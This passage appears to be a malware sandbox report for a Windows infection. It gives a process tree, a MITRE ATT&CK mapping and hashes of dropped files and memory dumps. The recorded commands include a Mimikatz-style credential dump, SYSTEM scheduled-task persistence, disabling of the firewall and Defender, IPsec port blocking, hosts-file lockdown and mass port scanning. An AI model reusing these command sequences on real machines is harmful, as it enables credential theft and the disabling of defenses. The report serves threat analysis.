- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5248
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\lfgfkziiz\cbmauknem\ivzhfikpb.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\lfgfkziiz\cbmauknem\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4632
- - C:\Windows\lfgfkziiz\cbmauknem\ivzhfikpb.exe
    C:\Windows\lfgfkziiz\cbmauknem\ivzhfikpb.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\lfgfkziiz\cbmauknem\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\lfgfkziiz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\lfgfkziiz\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4540
- - C:\Windows\lfgfkziiz\Corporate\vfshost.exe
    C:\Windows\lfgfkziiz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3968
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bnlbtpbnk" /ru system /tr "cmd /c C:\Windows\ime\cvlatmn.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2456
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bnlbtpbnk" /ru system /tr "cmd /c C:\Windows\ime\cvlatmn.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fbteueamn" /ru system /tr "cmd /c echo Y|cacls C:\Windows\uclvtabv\cvlatmn.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "fbteueamn" /ru system /tr "cmd /c echo Y|cacls C:\Windows\uclvtabv\cvlatmn.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ivfwhtebk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\vffbshfye\kchkra.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ivfwhtebk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\vffbshfye\kchkra.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5544
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:396
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3788
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1176
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4920
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2688
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1584
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:6120
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4988
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4752
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1664
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4772
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1920
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4480
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:864
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5292
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:4348
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:372
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3436
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:5416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:4192
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:5012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1292
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:2040
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:5956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:2284
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3604
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2676
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:4428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:700
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2412
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4032
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4344
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 776 C:\Windows\TEMP\lfgfkziiz\776.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5280
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1652
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 336 C:\Windows\TEMP\lfgfkziiz\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3928
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 2136 C:\Windows\TEMP\lfgfkziiz\2136.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4776
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 2648 C:\Windows\TEMP\lfgfkziiz\2648.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:548
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 2776 C:\Windows\TEMP\lfgfkziiz\2776.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 2788 C:\Windows\TEMP\lfgfkziiz\2788.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 3008 C:\Windows\TEMP\lfgfkziiz\3008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 3740 C:\Windows\TEMP\lfgfkziiz\3740.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 3828 C:\Windows\TEMP\lfgfkziiz\3828.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:760
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 3892 C:\Windows\TEMP\lfgfkziiz\3892.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3436
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 3980 C:\Windows\TEMP\lfgfkziiz\3980.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:928
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 1684 C:\Windows\TEMP\lfgfkziiz\1684.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3512
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 4044 C:\Windows\TEMP\lfgfkziiz\4044.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4512
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 5856 C:\Windows\TEMP\lfgfkziiz\5856.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1460
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 4672 C:\Windows\TEMP\lfgfkziiz\4672.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 3952 C:\Windows\TEMP\lfgfkziiz\3952.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3456
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 5240 C:\Windows\TEMP\lfgfkziiz\5240.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5392
- C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe
  C:\Windows\TEMP\lfgfkziiz\bcpfmifvy.exe -accepteula -mp 1500 C:\Windows\TEMP\lfgfkziiz\1500.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4964
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\lfgfkziiz\cbmauknem\scan.bat
  2⤵
  PID:4820
- - C:\Windows\lfgfkziiz\cbmauknem\btazimybm.exe
    btazimybm.exe TCP 212.102.0.1 7001 512 /save
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6052
- - C:\Windows\lfgfkziiz\cbmauknem\btazimybm.exe
    btazimybm.exe TCP 212.102.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4812
- - C:\Windows\lfgfkziiz\cbmauknem\btazimybm.exe
    btazimybm.exe TCP 80.78.0.1 80.78.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5904
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1836
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3000
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3236

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\uclvtabv\cvlatmn.exe /p everyone:F
1⤵
PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1856
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\uclvtabv\cvlatmn.exe /p everyone:F
  2⤵
  PID:3112

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\cvlatmn.exe
1⤵
PID:3920
- C:\Windows\ime\cvlatmn.exe
  C:\Windows\ime\cvlatmn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3572

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\vffbshfye\kchkra.exe /p everyone:F
1⤵
PID:4184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4252
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\vffbshfye\kchkra.exe /p everyone:F
  2⤵
  PID:6076

C:\Windows\SysWOW64\ewmksq.exe
C:\Windows\SysWOW64\ewmksq.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1808

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\uclvtabv\cvlatmn.exe /p everyone:F
1⤵
PID:2884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2000
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\uclvtabv\cvlatmn.exe /p everyone:F
  2⤵
  PID:4780

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\cvlatmn.exe
1⤵
PID:3864
- C:\Windows\ime\cvlatmn.exe
  C:\Windows\ime\cvlatmn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1144

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\vffbshfye\kchkra.exe /p everyone:F
1⤵
PID:512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3080
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\vffbshfye\kchkra.exe /p everyone:F
  2⤵
  PID:3592

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\uclvtabv\cvlatmn.exe /p everyone:F
1⤵
PID:4604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3432
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\uclvtabv\cvlatmn.exe /p everyone:F
  2⤵
  PID:4204

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\cvlatmn.exe
1⤵
PID:3716
- C:\Windows\ime\cvlatmn.exe
  C:\Windows\ime\cvlatmn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4776

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\vffbshfye\kchkra.exe /p everyone:F
1⤵
PID:2824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5328
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\vffbshfye\kchkra.exe /p everyone:F
  2⤵
  PID:2864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\lfgfkziiz\1684.dmp

Filesize
25.9MB

MD5
048eb467af97e3c73c97266064b6a627

SHA1
401a51ee1a667f71c99f16e2c9d939b5c2e10289

SHA256
5adc6740e60b7488774d6a72c41373163606ace2a62f685a8dbfe5dd709fdf6e

SHA512
fdaf5b789614ee1915d490d145da5854a9a4a547014a831a3fdda42a82a7664e3d545415f42e1db7f302d875b02e35c1840a5e81c204f4bb4fef02f49b2c6750

Download Submit
C:\Windows\TEMP\lfgfkziiz\2136.dmp

Filesize
4.1MB

MD5
7ec8d526f762e4076029ec892d0f1479

SHA1
abce27459630d10b3bc7c795e568cc8fbe037626

SHA256
e610fab3d22deca282e9e234452dfaa2322cdbc0f9ca36d4e3a341dbff26576e

SHA512
7e8eda4e76ed11ed05a8198add22b044839eb272c975d8a1c0a810bd136816f9176cb96e3d4848004b27490da6eca77874efe5b5ed31e0339cda5be6c5bee15d

Download Submit
C:\Windows\TEMP\lfgfkziiz\2648.dmp

Filesize
4.0MB

MD5
bcacb48c5825966442769384d43ec734

SHA1
614eed9782552efe9bd06c0d2a5cc36d5ce60346

SHA256
cc59ff56879b5523b4f736c3cd9f171d9b67b84358d6f859f8e5771ad284eb14

SHA512
f51268aabf28439f3a192bf8a06f6fa457bb49666737fbdd7742685dc9219dec5750789dc481a6c700960bde55dc58356c4632efee2901dc5077d4c8a526f173

Download Submit
C:\Windows\TEMP\lfgfkziiz\2776.dmp

Filesize
2.9MB

MD5
4d4943baf94757749bb5f40a9c89bd68

SHA1
8b3beb3bc7479aeadb8ddd7607318c643508629f

SHA256
99f1fe2b6eabfa8c9d1b5ee141a2196cfb1cba39e17356e5ce3c5256285995f1

SHA512
ff6ef4d6652e309fd5cbcfeb70c5cfec796bc9e1eb274ba331a7015dea18952cdb9f98651064b6cc30e26b4d8dcaf605f5f6e3b6d66321645ac34b6f64e90f17

Download Submit
C:\Windows\TEMP\lfgfkziiz\2788.dmp

Filesize
7.5MB

MD5
1719e8d20b1438ff3c6fc4b7acab8bbf

SHA1
91abc506a66d0d5a5d09cc8f0ed474eaa29f111b

SHA256
77073c0c7c6ac1112c322695bf1ca58491f77deb5033f76a5916f5b45bb8e733

SHA512
aea845eb7955c2cd2bb438ccb16681fbde97a6d698ecbf78bd3c519398357c9d788e6ed8a38817f7c05e3e0dd85fa42a5962e4cf933d8b4a783da50859916678

Download Submit
C:\Windows\TEMP\lfgfkziiz\3008.dmp

Filesize
814KB

MD5
291aa03d52a330517313329dde070d13

SHA1
de8cb87dc143d30227a36ad5f69274a7df4c10c1

SHA256
0cf9bb71fd81ae406bb64190948cb2524d4ea0ae1986ec11817d0fb65ef13f59

SHA512
59292e622bebc026c52bc75d4b955fcae9e6005744ded3ec816c02a962b0b40bcd90cf519120eae2adacbad98c934ad70e4cbea60a3b31a3c032d035fa94c0c8

Download Submit
C:\Windows\TEMP\lfgfkziiz\336.dmp

Filesize
34.2MB

MD5
b556c845cff09de37dff382a39dedfeb

SHA1
1b18532b925ebc4a1b9272a9cfd69a7b1a498471

SHA256
88dd692e798ef30e75cb66b9d3bfbe4fdd80c5e3acbe1f2901378897a12c0bef

SHA512
995a4c5904e4d5fe9d207ee44a25869bebb6bee20e80c72fc213f3c4c7c8314700d6bb01aa1fcfd692ecf86ed4f38a5a8251e49d1fcae60aff49dc879d7828f9

Download Submit
C:\Windows\TEMP\lfgfkziiz\3740.dmp

Filesize
2.9MB

MD5
08dd3099418498d6c279939187c6b57f

SHA1
c3497ae3beb98571c3e519aebc5840079b83c05d

SHA256
eeb8380cd455ee2a75c7de1a4650438c493c8f6a2016de12d313cf6a724c8829

SHA512
d1b9eef7fcd9c5ceb1655789495438df08ff7dee6891eecc111e1e641845b0474a1cdaa1e7b7b15b66823e66f971ae32cb144b9535ea3d1e168754cad3dd217a

Download Submit
C:\Windows\TEMP\lfgfkziiz\3828.dmp

Filesize
23.2MB

MD5
818af587b4b8abec06bb55e3be9c01e7

SHA1
cc42677b9c1b1001411e72e8b259ed39465b2888

SHA256
206ed27a0bf0af0c8d5f929d13401085cf218c136eec3a5991c857a32d2ed7d7

SHA512
26bfa3be443b86c75f76c96961ffeaab2f2052940fe5ad11501a868a98c014186d17951d99395a40f2898719879da99ad7daf5e18c578f2d75bbf0832365b295

Download Submit
C:\Windows\TEMP\lfgfkziiz\3892.dmp

Filesize
5.4MB

MD5
f4dfbee5d46ce6aed66fa91d6ba1b0e9

SHA1
3024f2d960189a288960f3d2d984363274656798

SHA256
c71263095be4f7858f8fb1aac30a788a7324e302607dd1cc0fad202dc7a6b1be

SHA512
f8ef156374d2e29ea3aa2ec5d688d039c5c3d294633a2944da46f05005c8a3c5c9b5e65fd6bed2ab0bb80ec0a124224ad8e24c9e9682a2feaa51751519f719cc

Download Submit
C:\Windows\TEMP\lfgfkziiz\3980.dmp

Filesize
40.3MB

MD5
0c6301611c889b2b3694888054a38ba1

SHA1
c463ec23fe88a48bb155ef171ef3ff77b2d1941a

SHA256
f0ec44f797c23be34c8fee7c3dac8361f2b08cd59541e1bbb2bcab1dd382f32c

SHA512
d480fa3c4e54c8ff8597a24c081d991228352f7f2125de568be490af98a7b1646875f72a79c73cf956e6324d49d2a4c3063988ebee963e4a8b0390606d9d53e6

Download Submit
C:\Windows\TEMP\lfgfkziiz\4044.dmp

Filesize
1.2MB

MD5
3741463df91de3559806ea00ea38a78b

SHA1
b2a278a6bb6eb42dc85daa3abde4da5432b62270

SHA256
338f6c6878b5e04e3e2091478f62f85bb7de582ed0daec4596641d263da4a329

SHA512
ee85b18b605b0b7d2ed31120639f716c4ecf8098ac586c44ef9c3de947d3e8a2abea3f51df9be7a5b9f08a33efdd9f297220a8ce3fcd597d4313e356fbd26839

Download Submit
C:\Windows\TEMP\lfgfkziiz\5856.dmp

Filesize
8.7MB

MD5
44d4897e8f7b8a36e1fb9fc48efac7d1

SHA1
74000d9591ad584698c68153871fb99663894791

SHA256
